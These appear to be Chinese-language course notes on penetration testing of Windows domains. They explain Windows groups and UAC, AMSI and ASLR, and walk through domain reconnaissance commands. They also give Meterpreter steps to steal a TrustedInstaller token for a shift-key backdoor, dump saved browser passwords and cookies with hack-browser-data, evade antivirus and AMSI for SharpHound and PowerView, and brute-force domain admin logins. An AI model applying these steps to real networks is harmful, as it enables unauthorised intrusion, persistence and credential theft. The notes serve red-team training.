0x01.问题补充
回答问题记录:
1.服务器上如何安装kali
选择debian境像
切换成kali的源
可能会出现公钥失败
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 报错的数字
apt update
安装任意kali上的工具或者:
apt-get install kali-linux-large(安装kali自带的所有工具,很多用不上,不推荐)
推荐使用什么,缺什么,安装什么
2系列课程结束之后大概是什么水平,还需要补充哪些知识
实战的流程最起码达到
如何把别的c2接到cs上
插件的编写 (官方的英文教程,翻译版本,视频版本)
面试底线:
实战经验
开发过什么工具 (最起码会一个工具的输出到另一个工具的输入,提高工作效率)
发表过什么文章
3.域环境介绍中没有提到ldap和adfs
web界面操作域控
4.电脑大概配置需求
做实验的话 搞一台台式把
0x02.windows权限划分
System, 系统管理员组,系统和系统级的服务正常运行所需要的权限都是靠它赋予的。由于该组只有这一个用户SYSTEM,也许把该组归为用户的行列更为贴切。
Trustedinstaller, 信任安装组,权限高于Administrator,用于管理操作系统底层相关文件操作的组
复现 :你给cmd.exe重命名试试就会出现 , win7
补充实验:
第一步:win7上线msf
第二步:提权到system (使用suggester模块,查看可以用来提权的工具,然后使用对应模块提权)
load -l
incognito获得所有的令牌
能够以system身份开启Trustedinstaller服务
第三步:load incognito
第四步:shell
sc start Trustedinstaller
ctrl + c
ps | Trustedinstaller
steal_token pid
shell
cd c:\windows\system32
rename cmd.exe 1.exe
应用:可以做shfit后门,主要作用是修改这个文件夹下面的文件,可以劫持系统dll
Administrators, 管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制。所以,只有受信任的人员才可成为该组的成员。
Power Users,高级用户组,Power Users可以执行除了为Administrators组保留的任务外的其他任何操作系统任务。分配给Power Users组的默认权限允许Power Users组的成员修改整个计算机的设置。但Power Users 不具有将自己添加到Administrators组的权限。在权限设置中,这个组的权限是仅次于Administrators的。
Users,普通用户组,这个组的用户无法进行有意或无意的改动。因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序。Users组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料。Users组提供了一个最安全的程序运行环境。在经过NTES格式化的卷上,默认安全设置旨在禁止该组的成员危及操作系统和已安装程序的完整性。用户不能修改系统注册表设置、操作系统文件或程序文件。Users可以关闭工作站,但不能关闭服务器。Users 可以创建本地组,但只能修改自己创建的本地组。
Guests,来宾组,按默认值,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多。
Everyone,顾名思义,所有的用户,这个计算机上的所有用户都属于这个组。
system , Trustedinstaller 和 power user 不是完整的用户
0x03.windows安全机制
1. uac机制介绍
用户帐户控制 (User Acount Control) 是WIndows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序损坏系统,同时也可以帮助组织部署更易于管理的平台。
使用UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
2.amsi介绍
通过windows defender调用 , 是一种想对独立的接口
反恶意软件扫描接口(GAMS)是Microsoftwindows保护系统,旨在保护计算机免受通过脚本语言(例如PowerShell, VBScript, JavaScript等)执行的攻击。它通过在执行之前分析脚本来工作,以确定该脚本是否为恶意软件。此外,它旨在通过每个评估步骤中递归调用来检测混淆的恶意软件。如果我们使用一个典型的混淆脚本,它们会在内存中自行解码和解压缩,直到准备好执行最终的有效负载为止。
原理 :
通过在每个代码评估点(如invoke-Expression)被调用,AMSI可以检查原始的,模糊的脚本的中间版本和最终版本。以这种方式,避免初始的静态筛选的简单技术不再有效。负责决定是否允许运行脚本的函数称为AmsiScanBuffer.
例如,PowerShell将在每次要评估任何PowerShell和本时调用此函数。AmsicanBuffer函数来自amsi.dll,与所有其他用户空间库一起加载到内存进程中。实际上,amsi.dll本身是—个用户空间库,其结果是容易受到多种攻击。
3.aslr介绍
ASLR (Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
0x04.windows域环境下的权限管理
从宏观理解“权限”—词,即控制的行为范围和可设定属性。
Windows域环境中,所有的权限都保存在域控制器中的活动目录里
。实战中有两种方式能获得权限。
-
获得域控权限并修改域控中的活动目录里的权限
-
在域成员机器中寻找域控曾经登录过的账号密码获得权限
在windows域环境中,单个的域成员提到system权限只能代表我们具有其中一个域成员的权限,我们下一步是要找到域控制器获得域控制器的权限或者域内的其他机器的权限
三条路:
1.找到域控ip,然后用传统方式漏洞扫描+利用拿下shell 然后手动提权然后找到活动目录
2.利用域环境的认证协议获得域控的命令执行权限
3.利用域环境下的组件漏洞
4.直接获得密码
0x05.windows域环境下的信息收集(作业)
ipconfig /all
这里我们主要是查看dns是否是指向某个具体的位置以确定是否调用了dns服务
如果存在,那么至少可以确定是有dns解析服务器的存在的
如果是私有域(也就是dns不是解析的公网上存在的域名)那么指向的dns我们可以直接查看ip地址作为dns或者域控制器的存在位置
实战中云环境下可能会存在dns转发到云环境路由的这种情况,遇到这种情况可以直接当作私有域处理
查看当前时间,结果如下 :
net time /domain
这里可以直接显示出当前计算机名称和域的名称,如果是工作组会直接早示"找不到域控制器"这句话
错误5:这台机器有域用户但是当前用户不是域用户
这是实战中最常用的判断域环境的操作,由于不会调用任何敏感操作所以基本也不会被拦截
而且这一步可以直接ping—下显示出来的域控制器的名称会直接得到一个ip地址
当然这里也有个简单操作,前提是得知域名的情况下:
利用ldap的tcp连接测试来直接找到域控制器的ip地址
Nslookup -type=sRv _1dap. _tcp.dc._msdcs.域名
查看当前计算机信息, 查找域控 , 结果如下:
systeminfo
中间会直接显示存在域和域的名称
做完上述几步就可以判断是否是处在域环境,如果存在,那么实战中直接去找dns的ip就可以直接认定为我们的域控ip(原因参考域环境搭建)
接下来可以尝试跳过继续搜集信息的步骤做一下直接攻击域控的操作:
1.找到域控ip(出不出网,如果不出网需要用到上节课内容)
2.寻找域控ip的端口信息和操作系统信息
3.根据端口信息和操作系统信息做漏洞扫描
4.漏洞利用拿下域控制器
找到域控制器下的域管理账号名称,结果如下:
net group "domain admins" /domain
不需要提权,在域成员机器上就可以使用
如果成功找到就可以使用暴力破解的方法(推荐先在3389试试然后再用其他方法连接)尝试是否存在弱密码(这里的弱密码字典一定要根据之前提到的域环境搭建的时候讲的密码规范来做,也就是密码的位数,字母和数字,大小写等)
查询域成员的计算机名称,结果如下 :
net group "domain computers" /domain
查询域用户,结果如下 :
net user /domain
用户名个计算机名称是我们作为内网情况下对方3389或者使用其他工具连接控制机器所必要的参数
查看共享目录
net share
拿到这个信息我们就可以在之后的拿域控器的过程中测试我们是否得到了域控制器的权限,就是通过拿到的域控看看不能访问到
0x06.工具集合
1.wmic_info
实战中不推荐使用,动静比较大,很有可能被发现了
会显示一些基本的计算机信息,在域环境中主要是查看各个组的权限存在在哪个域判断大概安装了哪些服务
如果存在证书颁发机构或者服务那么基本确定是存在adcs服务(域环境下的证书服务)这时候我们实战就可以使用下面的工具重点找web浏览器的保存密码这类东西啦
2.hackbrosedata
hack-browser-data 是一个解密浏览器数据(密码|历史记录|Cookies|书签)的导出工具,支持全平台主流浏览器。直接github下载
poweshell下执行
.\hack-browser-data.exe -b all -f json --dir results -cc
会找到浏览器中保存的信息,如账号密码,有点类似抓密码的哪个,但是这个感觉挺好的
上面介绍的这两个工具主要是考虑到大家可能实战中会遇到dap或者adfs这种域环境结合数据中心服务用web来实现控制的情况
3.bloodhound
图像化界面收集域信息的工具,非常好用,但是动静比较大
winserver2012以下版本使用不了
安装
apt-get install neo4j
apt-get install bloodhound
启动
neo4j console
然后找到连接打开
http://localhost:7474/browser/
默认账号密码
neo4j
neo4j
登录进去会让你改默认的密码,实战是不需要登录只需要打开就ok了,我们新建一个终端输入
bloodhound , 然后输入账号和新密码登录
受害者机器需要安装一个SharpHound.exe,这个软件默认火绒和windenfend是杀毒的,需要做免杀,双击运行
但是2012r2竟然没有杀
把压缩文件直接拖到这个界面
然后完成后打开左边的三条杠,就可以浏览信息了。这个工具也是会收集很多信息,动静比较大
4.powersploit中的powerview
比较推荐大家使用的域信息收集的一种方式,需要做一丢丢的免杀,过一些amsi,或者一些文本的关键字
powerview.sp1 做一做免杀
首先通过msf拿到一个会话,放到后台,然后打开新的终端输入powersploit,记住路径
/usr/share/windows-resources/powersploit
cd /usr/share/windows-resources/powersploit
cd Recon
sessions -i 1
load powershell
powershell_import PowerView.ps1
powershell_execute Get-NetDomain
常用命令
Get-NetDomain : 获取当前用户所在域的名称
Get-NetUser : 获取所有用户的详细信息
Get-NetDomainController : 获取所有域控制器的信息
Get-NetComputer : 获取域内所有机器的详细信息
Get-NetOU : 获取域中的OU信息
Get-NetGroup : 获取所有域内组和组成员信息
Get-NetFileserver : 根据SPN获取当前域使用的文件服务器信息
Get-NetShare : 获取当前域内所有网络共享信息
Get-Netsession : 获取指定服务器的会话
Get-NetRDPSession : 获取指定服务器的远程连接
Get-NetProcess : 获取远程主机的进程
Get-UserEvent : 获取指定用户的日志
Get-ADobiect : 获取活动目录的对象
Get-NetGPO : 获取域内所有的组策略对象
Get-DomainPolicy : 获取域黑认策略或域控制器策略
Invoke-UserHunter : 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-processHunter : 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter : 根据用户日志查询某域用户登录过哪些域机器。
Get-NetOU 域的基本结构
Get-NetGroup
Get-NetFileServer
Get-NetGPO
Get-DomainPolicy
这5条命令
0x07.补充
1.cupp
apt-get install cupp
kali上的一款字典生成器